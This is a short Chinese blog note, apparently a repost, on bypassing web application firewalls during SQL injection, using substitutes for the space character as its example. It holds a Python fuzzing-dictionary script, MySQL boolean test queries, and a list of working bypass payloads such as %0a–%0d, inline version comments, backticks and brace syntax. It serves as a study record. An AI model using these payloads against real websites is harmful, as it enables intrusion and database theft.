waf绕过

0x01 fuzz(以绕过空格为例子)

今天朋友分享了一些常见的,和一些通用waf的绕过姿势,看一下,做一下记录
我这里以空格为例子,mysql中当语句为如下的时候返回不同

mysql> select * from users where user_id='1' and 1=1;
+---------+-------+-----------+
| user_id | user  | password  |
+---------+-------+-----------+
|       1 | admin | admintest |
+---------+-------+-----------+
1 row in set (0.29 sec)

mysql> select * from users where user_id='1' and 1=2;
Empty set (0.00 sec)

在firefox中用hackbar测试这里空格被url编码了为%20
这里我自己写了个脚本,生成了一系列各种符号的url编码,ascii码值,用于fuzz

import sys

save_file = sys.argv[1]
pre = '0x'
num = [1,2,3,4,5,6,7,8,9]
word = ['QWERTYUIOPLKJHGFDSAZXCVBNMqwertyuioplkjhgfdsazxcvbnm']
with open(save_file,'wb') as file:
    for i in range(0,52):
        for n in word:
            tar = '0' + n[i] + '\n'
            file.write(tar)
            for a in num:
                res = str(pre) + str(a) + n[i] + '\n'
                print res   
                file.write(res)


这里以空格为例子

对这里的20进行爆破,加载上面生成的字典

这里可以看到%0a-d都可以代替进行绕过

0x02 其他的一些姿势(还是以空格为例子)

payload
select{user table_name}from{users information_schema.tables};
返回全部表
符号   + /**/  () 0x90等
select .1from users;
/*!50000select*/user from users;
select 0e1from users;
select version%0b()
select`version()`     
select`version`%0b()

猜你喜欢

转载自www.cnblogs.com/spark-xl/p/9103104.html